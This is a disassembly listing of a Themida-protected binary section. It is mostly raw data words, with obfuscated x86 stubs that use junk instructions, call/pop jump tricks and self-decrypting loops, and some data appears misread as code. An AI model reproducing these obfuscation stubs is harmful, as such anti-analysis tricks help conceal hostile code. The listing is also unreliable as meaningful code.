dd 277CCD21h, 7E52B61Ah, 0BECA62ECh, 31C394AAh, 3B2B1FC9h dd 0C3902AF9h, 71F507E5h, 3C682815h, 0C8B78E94h, 535254F2h dd 5337BFC9h, 0D43C6828h, 0AB1F227Bh, 7B8A7357h, 6886FA4Eh dd 0BEA590E5h, 87BAC332h, 579CE469h, 6828ABDFh, 0E2C63C3Ch dd 6A55AF1Eh, 0EFFE38E6h, 516CB865h, 0EF6EA9EDh, 5E8BC5D3h dd 0CBD13CEAh, 7CAD6FF4h, 55323DC0h, 37h, 0F8D5DEB3h, 384CE072h dd 8FC3941Dh, 75B59D4Bh, 0A6CE1C27h, 0BD9F2B63h, 432A9EE4h dd 0C78EC35h, 833A60F3h, 6F75BBFh, 0C17CC0FDh, 5848C2C3h dd 495A4342h, 0BD11E77Ch, 0B2831A1Eh, 3F8F5E35h, 948275D9h dd 0DF5785F9h, 0C3948DABh, 2528C63Ch, 1911E5D0h, 0FA72F883h dd 0BD9FA6FBh, 2FD50E74h, 9F710E6Fh, 0D5DE65DBh, 38B406F8h dd 618FBACDh, 50CCDFBh, 8D323740h, 90277D95h, 0B841EFB4h dd 50h, 870E6F44h, 941D1B6Fh, 0B296ECC3h, 511EBDDCh, 0CCFB0D6Ah dd 0CBFB0478h, 7641571Ch, 0F27AF412h, 0C394F496h, 0BD4F2119h dd 790DA133h, 0CEC3941Dh, 0BACE66F4h, 0DC3941Dh, 0DE251B35h dd 7B18FED3h dd 37C885h, 0B7240000h, 6C1D5197h, 0D74DFB38h, 0EB710E6Fh dd 53C89174h, 0B6CA3228h, 0E3C73B8Fh, 29BDDF45h, 0C3941D5Dh dd 0BDA2047Eh, 0FED3DE47h, 0BB33BD18h, 0C3941DCFh, 0E4CC7A40h dd 0F8D5DE22h, 0C2D7C614h, 4F8D59F7h, 77C3909Dh, 3E4BB03Dh dd 0ED37D003h, 31DC6ED2h, 2C60D4EBh, 15F10B02h, 58CC58BBh dd 3C6FC82Ch, 93A05FA3h, 0E408D2E6h, 3C6F03E0h, 4B3F1367h dd 0F51AABEDh, 5B7A4BAFh, 0C4FEB54Ah, 688173E0h, 41323C1Fh dd 1Eh, 0F8D5DEAFh, 5B768372h, 3745A5ADh, 0F7B63E2Ch, 78BD9F05h dd 5C56BE02h, 625FA851h, 0D5DE03F1h, 99C614F8h, 4D9ADB12h dd 1AA24C89h, 0FB73F982h, 0BD9FF0DEh, 11B9FEAFh, 62D6CA09h dd 9620CA2Eh, 61B06A1Eh, 6B85FD3Ah, 0E6F0888h, 40A495E4h dd 0C233BDEEh, 0DC3084B1h, 941D7014h, 35EFB7C3h, 0C3CA94F5h dd 1074F874h, 97C39422h, 0A9A14FA3h, 6DD5DED7h, 57C92D18h dd 33BD4CB4h, 941DCFBBh, 0CC7A40C3h, 4004AB52h, 3D8637h dd 0BD6E0000h, 0DA744550h, 0E139BBC2h, 362A6ED2h, 5D29BD50h dd 0D2C3941Dh, 33BD76E8h, 4A9AB7C2h, 0C3941D3Eh, 0CD9F49B1h dd 4750BD37h, 0D7BB869Fh, 9C719FF3h, 7BDABC8Dh, 2AC885h dd 0BD500000h, 0DE084150h, 0BAA0BFDEh, 1DC08428h, 7347C394h dd 0F84C798Ah, 0BDF46A84h, 941D5D29h, 0A2047EC3h, 0D3DE47BDh dd 857B18FEh, 14F8D5DEh, 909D1EDCh, 7A455FC3h, 0E6D12796h dd 20ADE712h, 0B89CA3FBh, 0C9535248h, 4CFAC7DCh, 5A99B4C1h dd 0D3F691CEh, 10AD9CCEh, 0E04CF770h, 0FD2B0F9Dh, 0A83C0710h dd 3C6F9ADCh, 0E10B6F53h, 3AD4E534h, 0BDC6D6D6h, 9C9E07AFh dd 5DEF4264h, 6F1B3DFEh, 8B5B7C2Ch, 3A64CFFFh, 0B8879F70h dd 0B89CF0D4h, 0E6F5DBBh, 65DB9F71h, 6F8D5DEh, 0CCD4CB4h dd 25374005h, 2Eh, 710E6FC3h, 5D29BD9Fh, 0D2C3941Dh, 33BD76E8h dd 1D790DA1h, 0F4CEC394h, 0D3DEE45Ah, 5D21186Bh, 4B8A9079h dd 857BF157h, 27C8h, 0E6F5000h, 1EBD9F71h, 6F79A463h, 0E89C1089h dd 7FC394DAh, 6709271Bh, 94DABBCFh, 8C62A0C3h, 0D3DE47BDh dd 857B18FEh, 1B6DD5DEh, 9564582Ch, 8CC0B483h, 405342A8h dd 0FB6BDF09h, 0C3909D39h, 1998C725h, 9F5283D6h, 0A8257FA9h dd 0D81B3643h, 1BEFDA2Fh, 78E27903h, 64EDD9F4h, 8654AE42h dd 0A394F074h, 0B21B3A64h, 0ADE1556Ch, 3CC49F49h, 9F710E6Fh dd 50BD65DBh, 0D5840841h, 0CD01F5C0h, 0C5CE3FE9h, 4CB41688h dd 40050CCDh, 392537h, 46B70000h, 72E8063Bh, 9F710E6Fh dd 1D5D29BDh, 0E8D2C394h, 0BD47BD76h, 860A4750h, 91A8FB42h dd 0CE3FE92Dh, 0D37A55C3h, 46D13Ah, 857B4A2Ch, 40C8h, 0AFF92400h dd 6F807690h, 0BD9F710Eh, 0EB2C233h, 0C403409h, 1276FE28h dd 39C3941Dh, 59D53B4Ch, 0E0BE5B65h, 0BC6DD135h, 0DD7A5E6Bh dd 0B2A755F5h, 0BEDC166h, 0D3DE47BDh, 79816CFEh, 7BB6AC5Ah dd 0F8D5DE85h, 477A8372h, 99719FF3h, 6653A253h, 0C90BE92h dd 0F701EB70h, 0C639F665h, 3E6DB77Bh, 94E25236h, 1CEDD5C3h dd 75493D08h, 95E0BDBh, 0ABEFBD9Eh, 0C9D13C48h, 24C2068Ah dd 94EA0498h, 0C5B7D35Bh, 0C2383A61h, 0C2261AEEh, 12E59418h dd 704A4471h, 0FDC8DD8Ch, 417C8966h, 0D9A075FDh, 509269C4h dd 0A9EE56A5h, 88EC2094h, 0A049445Eh, 4BF07A57h, 527DB95h dd 39BA5476h, 3A8EBBCCh, 80744B53h, 9FDC0D9h, 0CEDFABC3h dd 6A500ABBh, 0D6BA95E3h, 5529A4FEh, 34DDE8A8h, 0E00DD6E3h dd 45B0BA97h, 66EA0433h, 3A1h, 9C84CB00h, 9FDD4DEh, 967A57A0h dd 12E6D127h, 9B6F52ABh, 63D7EE32h, 0EB5F66BAh, 71C5FC02h dd 0FC407988h, 7BCFFA0Dh, 6A2268CFh, 1C890000h, 81E38924h dd 4C3h, 4EB8300h, 5C241C87h, 81E38953h, 4C3h, 4EB8100h dd 87000000h, 895C241Ch ; --------------------------------------------------------------------------- cmp al, 24h push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push edx push ebp mov ebp, 611751Ah mov edx, ebp pop ebp mov edi, edx pop edx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop esi push ebx mov ebx, 8 add ebx, esi mov [ebx], edi mov ebx, [esp] add esp, 4 mov esi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp mov edi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_543FDB ; --------------------------------------------------------------------------- dd 7B8CF9FAh, 7C89B841h, 0C5030611h, 8403E0FFh, 2745381Dh dd 658D0EF5h, 6BAB5F23h, 0EDB76BAFh, 0FE848E6h, 0CB000000h dd 0E9CCEE76h, 30509B0h, 0AB4FCDDEh, 0CE8195E9h, 494A8690h dd 0C281665Bh, 0C381ADDFh, 72B8h, 0B8F0Fh, 850F0000h, 5 dd 11F4D4BAh, 6865h, 0DE810000h, 6B43318Bh, 0F08B6658h dd 66030C8Bh, 81B3A9BAh, 299883E9h, 8B66530Eh, 0F1815FF2h dd 5EE014F6h, 0AE9h, 8ACDDB00h, 0D11621D8h, 81374D21h dd 4F3F64F1h, 48F5123h, 19890F03h, 0E8000000h, 0Fh, 7D295D95h dd 0EBD95F81h, 4BF17428h, 667CB106h, 5E4FB1BAh, 0E883FB8Bh dd 0CF88104h, 0FFFFF8Eh, 1285h, 8CCBBE00h, 1CE95AF3h, 0E5000000h dd 2C74959Bh, 0F668B89h, 85E9F7B7h, 86FFFFFFh, 696636ABh dd 36C9B988h, 8D5DE1A4h, 117ECC8Dh, 0FE906h, 0CB420000h dd 0EF90E48Eh, 53CF4716h, 0CCBAAAEBh, 0C840F95h, 0F000000h dd 689h, 0A58D8900h, 89060B2Ah, 0B174D8Dh, 51006A06h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 85C723C0h, 60B0119h, 72E0h, 33A4DF81h, 7E90A7Eh, 0FB000000h dd 0EDDF979Dh, 85C7CE52h, 60B1009h, 0 ; --------------------------------------------------------------------------- xor ebx, 582E2356h push dword ptr [ebp+60B0DA5h] mov edi, [ebp+60B1309h] call dword ptr [ebp+60B0AC5h] push 0 push edi call sub_5A3F53 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A3F53 proc near ; CODE XREF: Themida_:005A3F4Bp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_5A3F53 endp ; --------------------------------------------------------------------------- inc ebp mov al, 55h adc edx, eax cld push 0 call dword ptr [ebp+60B32DDh] mov eax, eax jmp short loc_5A3F9F ; --------------------------------------------------------------------------- db 63h, 0AAh, 42h dd 289700DBh, 3453160h, 0A20F569Eh, 0F1193EE9h, 691D8476h dd 8F4953D5h, 650AB18Ch, 4ED9587Bh, 0C91D2473h db 0B2h, 0CCh, 0Dh ; --------------------------------------------------------------------------- loc_5A3F9F: ; CODE XREF: Themida_:005A3F73j call sub_5A3FB3 bound edi, [esi+33DB7313h] dec edx xlat pop ebx xchg eax, esi test eax, 1E266F1h ; =============== S U B R O U T I N E ======================================= sub_5A3FB3 proc near ; CODE XREF: Themida_:loc_5A3F9Fp push ebx jmp loc_5A3FC4 ; --------------------------------------------------------------------------- db 74h, 67h, 0DEh ; --------------------------------------------------------------------------- mov [ebp+472AEFF4h], eax sal eax, cl loc_5A3FC4: ; CODE XREF: sub_5A3FB3+1j pop edi pop eax add eax, 7333h mov di, dx mov edx, 1C98h cmc loc_5A3FD5: ; CODE XREF: sub_5A4017+4Fj mov ecx, [eax] mov [ebp+60B2DE5h], esi sub ecx, 20452EC4h mov [ebp+60B17E1h], ebx add ecx, 7E98FEFBh and ebx, 62B5C88h add ecx, 3FD450Fh sub ebx, [ebp+60B29FDh] mov [eax], ecx call sub_5A4017 cmp ebx, [edi-2Dh] enter 0FFFFD0EAh, 1Ch iret sub_5A3FB3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 1397E1DEh db 1Ah, 0F9h, 6Ch ; =============== S U B R O U T I N E ======================================= sub_5A4017 proc near ; CODE XREF: sub_5A3FB3+50p cld pop esi sub eax, 70C8538Bh jmp loc_5A4038 ; --------------------------------------------------------------------------- dd 1D438B54h, 0B3AA3A1Eh, 0BED8E139h, 925C1DC9h, 7B541F0Eh ; --------------------------------------------------------------------------- loc_5A4038: ; CODE XREF: sub_5A4017+8j add eax, 70C85387h mov [ebp+60B14EDh], eax sub edx, 1 jnz loc_5A4060 mov [ebp+60B193Dh], ecx jmp loc_5A407B ; --------------------------------------------------------------------------- dd 0FFA06581h, 3A2D71E0h ; --------------------------------------------------------------------------- loc_5A4060: ; CODE XREF: sub_5A4017+30j xor ebx, [ebp+60B02D1h] jmp loc_5A3FD5 ; --------------------------------------------------------------------------- db 0B2h dd 3BA195F6h, 6DFECFBCh, 0B116C14Ah db 0ECh, 4Eh, 0A8h ; --------------------------------------------------------------------------- loc_5A407B: ; CODE XREF: sub_5A4017+3Cj lea ecx, [ebp+6118083h] push 0 push edi call sub_5A408C and [edi-3Dh], bl sub_5A4017 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5A408C proc near ; CODE XREF: sub_5A4017+6Dp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_5A408C endp ; --------------------------------------------------------------------------- jg short loc_5A40E4 jmp loc_5A40AA ; --------------------------------------------------------------------------- db 0E2h dd 0D194B4E5h ; --------------------------------------------------------------------------- xchg eax, edi retn ; --------------------------------------------------------------------------- loc_5A40AA: ; CODE XREF: Themida_:005A409Ej mov [ebp+60B174Dh], ecx push 0 push eax call sub_5A40BB and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A40BB proc near ; CODE XREF: Themida_:005A40B3p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_5A40BB endp ; --------------------------------------------------------------------------- db 50h dd 3430E078h, 0C1B589A6h, 0C7060B33h, 0B011985h, 73B006h dd 0C7E58A00h ; --------------------------------------------------------------------------- loc_5A40E4: ; CODE XREF: Themida_:005A409Cj test [ecx], ecx adc [ebx], cl push es ; --------------------------------------------------------------------------- db 3 dup(0) dd 8D896000h, 60B2815h, 8558D8Bh, 0FF61060Bh, 0B0DA5B5h dd 0AE806h, 0DE570000h, 0E001A639h, 8180EC63h, 51CE8166h dd 95FF5A4Fh, 60B0AC5h, 4880BB66h, 95FF006Ah, 60B32DDh dd 2AEBC08Bh, 0DBCC130h, 0B3C3BA8Bh, 0C94AE5E0h, 741C27A1h dd 0B679795h, 0D8994507h, 0D9E24EC6h, 91E0A90h, 755AE68Bh dd 13E63261h, 8D8D963Bh, 611818Bh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 5FC35040h, 0ACCA082Dh, 66F31D56h dd 2CAEE281h, 174D8D89h, 6A060Bh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 8B66ABC3h, 1985C7F1h dd 94060B01h, 6A00006Bh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 0A3B0C351h, 958955D5h dd 60B2A99h, 2E09B529h, 85C7060Bh, 60B1009h, 0 ; --------------------------------------------------------------------------- movzx ebx, ax jmp loc_5A41F5 ; --------------------------------------------------------------------------- dd 8EF69DE8h db 29h ; --------------------------------------------------------------------------- loc_5A41F5: ; CODE XREF: Themida_:005A41EBj push dword ptr [ebp+60B19C9h] push 0 push edi call sub_5A4206 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A4206 proc near ; CODE XREF: Themida_:005A41FEp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_5A4206 endp ; --------------------------------------------------------------------------- dw 0EC4Eh ; --------------------------------------------------------------------------- mov ebp, 0D9BC0D1Fh mov ebx, 4499C5E5h call dword ptr [ebp+60B0AC5h] ; CODE XREF: Themida_:005A4296j push 0 call dword ptr [ebp+60B32DDh] mov eax, eax jmp short loc_5A42A1 ; --------------------------------------------------------------------------- dd 0FA5E8479h, 0F531F0B0h db 0E7h ; --------------------------------------------------------------------------- loc_5A423D: ; CODE XREF: Themida_:005A428Dj db 66h mov [eax+ebx*2+7FE36B50h], cl cmp al, 0E0h xchg eax, esp cmp eax, 11095465h jmp fword ptr [ebx] ; --------------------------------------------------------------------------- jmp short loc_5A4253 ; --------------------------------------------------------------------------- db 0EBh, 0FBh ; --------------------------------------------------------------------------- loc_5A4253: ; CODE XREF: Themida_:005A424Fj inc esp jmp near ptr 0E6FAE71h ; --------------------------------------------------------------------------- db 18h, 5Bh, 31h dd 0F4A49B4Eh, 29F058ACh, 6CC3CD0Ah, 5E437616h, 23BF017Fh dd 0B63E7CA4h, 0DD733DC2h, 8F73E778h, 8A3B2716h db 66h, 35h, 3Ch ; --------------------------------------------------------------------------- loc_5A4283: ; CODE XREF: Themida_:005A42A6j imul byte ptr [edi] push ss xchg edx, esp cmp eax, 64FBCB25h jge short loc_5A423D repne xor esi, [ebx-61EA03B0h] jo short near ptr loc_5A4222+3 sub [esi-800F2F8h], dl sub bh, [edi] ; --------------------------------------------------------------------------- db 0C4h ; --------------------------------------------------------------------------- loc_5A42A1: ; CODE XREF: Themida_:005A4232j call near ptr loc_5A42AB+1 js short loc_5A4283 xchg dh, bh sti loc_5A42AB: ; CODE XREF: Themida_:loc_5A42A1p lock movsx edx, si pop ebx movzx esi, ax add ebx, 65F6h mov dl, 8Dh sub eax, eax sub si, 87FAh loc_5A42C2: ; CODE XREF: Themida_:005A4320j push dword ptr [eax+ebx] or [ebp+60B1AA1h], ecx pop edi mov ecx, ebx sub edi, 399AB766h mov ecx, [ebp+60B1B31h] add edi, 299A309Bh mov edx, ebx add edi, 452361Ch jl loc_5A4305 jmp loc_5A4305 ; --------------------------------------------------------------------------- db 65h dd 22BCE094h, 0BD3324F9h, 9B85E6CCh, 92A6B875h db 80h ; --------------------------------------------------------------------------- loc_5A4305: ; CODE XREF: Themida_:005A42E8j ; Themida_:005A42EEj mov [ebx+eax], edi sub dl, 9 mov cx, bx sub eax, 4 jb loc_5A431A movsx ecx, cx loc_5A431A: ; CODE XREF: Themida_:005A4311j cmp eax, 0FFFF9A8Ch jnz loc_5A42C2 sub [ebp+60B29D9h], ecx lea ecx, [ebp+611837Eh] push 0 push esi call sub_5A433D and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A433D proc near ; CODE XREF: Themida_:005A4335p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ch inc esi push esi retn sub_5A433D endp ; --------------------------------------------------------------------------- db 89h, 91h, 29h dd 9E90CDD9h, 8D89ECC5h, 60B174Dh, 1BB9B589h, 85C7060Bh dd 60B0119h, 74E8h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 0F0C35646h, 90E3458h, 8B788B1Bh, 0B2201BDh dd 985C706h, 60B10h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 892AC351h, 0B0C81B5h dd 0A9B5FF06h, 6A060B1Ah, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 724EC357h, 41BD29E4h dd 0E9060B09h, 5, 0DA75EDE8h, 0C595FF11h, 6A060B0Ah, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 0CBB7C351h, 6AFA8B66h, 0DD95FF00h, 8B060B32h, 0B44FEBC0h dd 0CDDF3750h, 73029C6h, 0B5D03910h, 0AB969D48h, 0CFCC3466h dd 0E2BC208Eh, 9ACB3AFh, 12E86F39h, 503ADC53h, 21215D1Dh dd 0B806503Dh, 0D23AF621h, 0D666ADD3h, 2B81D1F6h, 17432545h dd 0A585F0A4h, 4B028BB5h, 7EED53F9h, 4670712Dh, 85C6E1E7h dd 60B2845h, 30DF6856h, 0B5FFA9C5h, 60B1355h, 7D18858Dh dd 0D0FF060Eh, 5458D8Dh, 6A51060Bh, 0D9B5FF40h, 0FF060B03h dd 0B1B95B5h, 0FFD0FF06h, 0B03D9B5h, 95B5FF06h, 0E8060B1Bh dd 13h, 77920742h, 0D852DF16h, 74119C59h, 0DE5775C8h, 5801A639h dd 4E88358h, 2242CC1h, 22424C1h, 0F7240403h, 0FF2B241Ch dd 5B0734FFh, 0CEC381h, 0F3815AF9h, 79DE43A0h, 170EEB81h dd 1C89474Fh, 1EF8338h, 3B4F4F4Fh, 850F243Ch, 0FFFFFFD8h dd 0EB99D8Dh, 38B060Bh, 840FC00Bh, 7, 5B8B038Bh, 8B188904h dd 0ABE9C9h, 8D500000h, 0B11C3F2Eh, 0ABDA5F72h, 0B395A7ACh dd 0A1F44592h, 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h dd 9B552075h, 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h dd 0E9B599BDh, 92A59CB2h, 95ACA3F2h, 97B1EF76h, 0B4F94E00h dd 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h dd 0F144D6D9h, 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh dd 0F996BFCFh, 20B293BCh, 9B57207Dh, 9492ABF7h, 0E3B29EBDh dd 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h dd 97B3ED72h, 0A601E800h, 323D94E7h, 9B144883h, 125EE928h dd 22680000h, 0E9061187h, 0FFF9F9FBh, 11883468h, 0F9F1E906h dd 768FFF9h, 0E9061189h, 0FFF9F9E7h, 118A3C68h, 0F9DDE906h dd 0B668FFF9h, 0E906118Ah, 0FFF9F9D3h, 118B6768h, 0F9C9E906h dd 1768FFF9h, 0E906118Ch, 0FFF9F9BFh, 118C9768h, 0F9B5E906h dd 4168FFF9h, 0E906118Dh, 0FFF9F9ABh, 118EED68h, 0F9A1E906h dd 9D68FFF9h, 0E906118Fh, 0FFF9F997h, 1190E968h, 0F98DE906h dd 2268FFF9h, 0E9061192h, 0FFF9F983h, 11943168h, 0F979E906h dd 4468FFF9h, 0E9061195h, 0FFF9F96Fh, 2E350C16h, 589BB6C1h dd 0F66D5CAFh, 21320119h, 5281BCC4h, 1B61FCE3h, 0C9CE3F24h dd 76BE6FF4h, 1E6B845Fh, 21CB3023h, 8598F98Dh, 19FF4EC5h dd 14F8D5DEh, 0ABF050A5h, 0F5A1B296h, 264E9CA7h, 0BD9F195Bh dd 0EAD4DECh, 7690F71Fh, 0C7DDC812h, 8EFA72F8h, 13A6089h dd 2B3B0F39h, 3A60895Bh, 119B2A8Eh, 8AA495E4h, 34A17990h dd 20502Ch, 6FBC0000h, 40E4760Dh, 0BD9F05D1h, 5090645Eh dd 3A60CB30h, 0DA2EBFE5h, 2C35C733h, 11B1Eh, 50BDE600h dd 0D4850944h, 0C90DF1CCh, 0C1D23BD5h, 50D466F4h, 0C3941D34h dd 0E15560B5h, 3EE8D2ADh, 839500CAh, 69B39AB4h, 0EE3BE256h dd 0EDDB3D46h, 108DBF4Bh, 3014F8DCh, 5DC6822Ah, 7149C394h dd 0D5DECF1Dh, 3529146Dh, 6FE30D41h, 9B5875BEh, 0BC8D9C09h dd 5BBBC292h, 0E259C394h, 0C62EBF6Eh, 4E5425F6h, 2374D977h dd 0D720CD16h, 13EC980Ch, 1E6DC394h, 9C7B5F23h, 6CFE42A6h dd 0F65A7981h, 54287492h, 8C891DCFh, 0A1BD9F0Dh, 1B62C182h dd 0B6AA2F63h, 90ABF1ADh, 76B8224Ah, 0CF33446Dh, 932C931Dh dd 0AC0621A4h, 1E62EB05h, 7AAB3527h, 0B2D61E2Bh, 3530739Ch dd 0A74023CDh, 0CBE5625Dh, 8C6B1Ch, 0FB94D02h, 0AAFC0000h dd 50A74093h, 615F261h, 0A7FF28CBh, 56AA5B98h, 264DF46Fh dd 5182BDC7h, 81526FB4h, 3E251064h, 6A89C4D1h, 0A7234BA1h dd 28C5859Ah, 1EBDE359h, 3232739Ah, 4EBF6967h, 7AE10B4Ah dd 1370F064h, 5DCFA972h, 9DDD1926h, 9471F21Ch, 57ADB683h dd 0CFBB33BDh, 40C3941Dh, 5BDD81A1h, 0D236E6BFh, 9A146834h dd 905ABE8Bh, 9F4FBD1Ch, 7993B2BDh, 17783B2Fh, 3F379BFFh dd 3A61134Fh, 0D427D69Ah, 372B2A70h, 0FA0E9F19h, 2C35FF53h dd 0B87Eh, 50BD8600h, 70DD0B4Ah, 0F7A62A27h, 5D4892ADh dd 78D07E45h, 941BA1E8h, 0CA0710C3h, 266E9F29h, 0E13155D9h dd 4CB63C6Bh, 0ED35E468h, 0CA2E62D6h, 0E9E4311Ch, 0DE26D765h dd 113F13E7h, 8654EF8Dh, 60FF6B6Eh, 74E6DC42h, 0A4427189h dd 883741C3h, 0D4DDF4F7h, 0B7D3132Fh, 383A60CBh, 49824C2h dd 79ED7Fh, 9D446D5Bh, 0F1D5E830h, 5F66BA6Bh, 2E116B84h dd 6B779921h, 7F84A8Ch, 0EA7h, 0B2A198EAh, 0EC774255h dd 1AD9F003h, 0B5AE95EDh, 0E67D4058h, 0AFF5085Fh, 5DA24390h dd 212F360h, 0AAFF28CBh, 0B5B7449Fh, 85955531h, 0F56BDAC5h dd 78FBDADEh, 944F7A8Fh, 0BB33BD6Ch, 0C3941DCFh, 7CF07A40h dd 0C3941D08h, 808DBB9Fh, 65905A77h, 73573B16h, 7B8C7DD5h dd 2978954Eh, 0A8FDAC10h, 0DBCA469Dh, 6550FEC1h, 2989134Dh dd 536AB322h, 9446BA3Eh, 9FC23510h, 52A657BDh, 0A746C563h dd 4C74DFDh, 187F53C3h, 0EB8CBFCEh, 56ED8F34h, 3D001984h dd 83DFAE49h, 3FF3C0D5h, 2B432DDBh, 0BFF5C16Eh, 1717FBDFh dd 0F86CFE85h, 41F9DC90h, 0B7C12B6Fh, 0C58C4B3Fh, 2973DC35h dd 5A143216h, 0F0635EABh, 38370217h, 8A010DB4h, 0D4987FCBh dd 0D900000Dh, 806DF6CDh, 6E9F4475h, 0D8352E23h, 8760F3C2h dd 2291427Dh, 0E5D8203Bh, 0B588917Eh, 183741AEh, 0ECD92ADBh dd 0CE668A77h, 0C58594BAh, 0DEC6BE0Dh, 0CD72F8D5h, 0CB4EF63Eh dd 40C3A3Bh, 598398E4h, 9F3390D5h, 76EDD5BDh, 80C468FAh dd 73A6102h, 0F3891533h, 0B138268h, 0DC501A34h, 446A04C9h dd 9050241Eh, 307E00F0h, 9A6E7F25h, 262B0E73h, 6F5Eh, 0D6FA600h dd 7477E476h, 0F59115E6h, 7AC3947Fh, 495AF700h, 73FD6F99h dd 0DC4CE8CCh, 0F610C3D9h, 9EA3C96Eh, 9A40BABDh, 0E9E0E408h dd 13673A60h, 7A8A7BF5h, 0E9149043h, 0F8DCA09Fh, 0E9C4864Eh dd 3C493A60h, 0DF2ADB01h, 21A344E2h, 0E96B1F97h, 86FC3A60h dd 0A493E568h, 74F80AD0h, 3A60E910h, 0CB94A397h, 7306E91Eh dd 0F044BB55h, 0EC00000Ch, 0E4760D6Fh, 859A6140h, 0F601EEBDh dd 3F1377DBh, 9AB7C02Dh, 6E5BAC59h, 61FA829Ah, 2D0844FBh dd 0C076A98Ch, 22204426h, 0AD446B2Eh, 0D168755h, 0B1C22330h dd 0D1350811h, 0D46F0D6Dh, 28F3EE06h, 7E444E42h, 8070E5F1h dd 5B3C1692h, 0C9Fh, 0BAB990E2h, 0D40F3A4Dh, 2D1E83Bh dd 0BDA69DE5h, 0EE754850h, 97ED0057h, 455A4BA8h, 0FA0AFB78h dd 0A2F710C3h, 0ADBF4C97h, 85974D39h, 8D73C2C5h, 941D27A7h dd 0FE8517C3h, 9802F86Ch, 0A59DBD85h, 0A3F825B7h, 38D62A9Eh dd 1860C0D5h, 0CBBF3725h, 5C3A7A61h, 34D10266h, 0A62D6E3h dd 0F3971F72h, 743A7A61h, 0ACC02A0Eh, 447162F9h, 0DDFB744Eh dd 128C6F30h, 0C255F30h, 1E680000h, 0C4D33C27h, 72816EF5h dd 136B845Fh, 0C2D6372Ch, 8AD160F3h, 0CD162973h, 7DE6DB20h dd 0AA498490h, 0C61D287Dh, 0CBBF3735h, 5CC58597h, 0D5DE77EDh dd 50A514F8h, 2B619165h, 0CC7669Ah, 6CE23240h, 0A000006h dd 0E4760D6Fh, 625DAB5Ah, 0B52C619Eh, 0B3795C68h, 3225B15Fh dd 0B3BD854Ch, 0AFECBDAh, 9D08D236h, 0F1D5B984h, 1F689557h dd 0E0DF29D4h, 7B4D6460h, 1A6E863Ah, 0ED3A7B4Dh, 0FCD02A95h dd 5D6CBF6Eh, 946A95E9h, 41BD20FDh, 0A44122CCh, 52926653h dd 3A7B3E32h, 7BE17A02h, 703DB6F3h, 4C33744h, 8C6E8ABEh dd 74BA1DF5h, 0B900000Bh, 608D566Dh, 0CE3F2415h, 0B8558EC3h dd 67805362h, 8231221Dh, 4578805Bh, 1528719Eh, 0F8D721CEh dd 4C798A7Bh, 6E866A97h, 0C585961Ah, 0DEA61EEDh, 0A514F8D5h dd 61916550h, 0C7669A2Bh, 0E232400Ch, 5BBh, 1D27A70Ah dd 8517C394h, 7DE26CFEh, 0EA9BC649h, 0BA94FA40h, 18FE3CDBh dd 0AC0BDB75h, 0F0BD85D4h, 0A600F605h, 1EEB3EEEh, 6BE8067Ah dd 4ABBC517h, 0D2BB0F36h, 0CC00F4C1h, 0BACF3EE8h, 6EBB548Fh dd 0D35DEF53h, 7A0F2F5Bh, 38ACA03Ah, 3A7A0F4Ch, 6D9BFFC3h dd 2A304B51h, 710CE782h, 0D5126844h, 8C6F9ADFh, 0C441060Ch dd 0C900000Ah, 0B05D86BDh, 1E8F5465h, 0C8253E13h, 0B75083B2h dd 3281526Dh, 0F5C8D02Bh, 4578816Eh, 2827719Eh, 0FCC9DACBh dd 0DE569A67h, 0C58591AAh, 0DED64E3Dh, 0A514F8D5h, 61916550h dd 0C7669A2Bh, 0E232400Ch, 50Bh, 760D6F0Ah, 5CAB5AE4h dd 7F33C36Dh, 0F0BD8598h, 60B5608Ah, 14618E55h, 0ED9D5539h dd 0F3A7A66h, 8CBA979Eh, 5D76C30h, 7165C4E1h, 36310944h dd 8C6F32C8h, 44480FFBh, 4900000Ah, 30DD063Dh, 9E0FD4E5h dd 48A5BE93h, 37D00332h, 0B201D2EDh, 754850ABh, 0C5F801EEh dd 0A8A7F11Eh, 7C495A4Bh, 5ED61AE7h, 0C585912Ah, 0DE56CEBDh dd 0A514F8D5h, 28916550h, 0AE1FE3D2h, 82E76B6Ah, 1B3B5756h dd 79445C49h, 20D8D5CFh, 32400D09h, 47A20h, 22A7CC00h dd 1CC3941Dh, 0E771FB80h, 941D3B4Fh, 98B68CC3h, 415944D6h dd 0C34A8E72h, 9D6987BAh, 0BD859824h, 0EA1BC139h, 4FBEAC99h dd 5DE0837h, 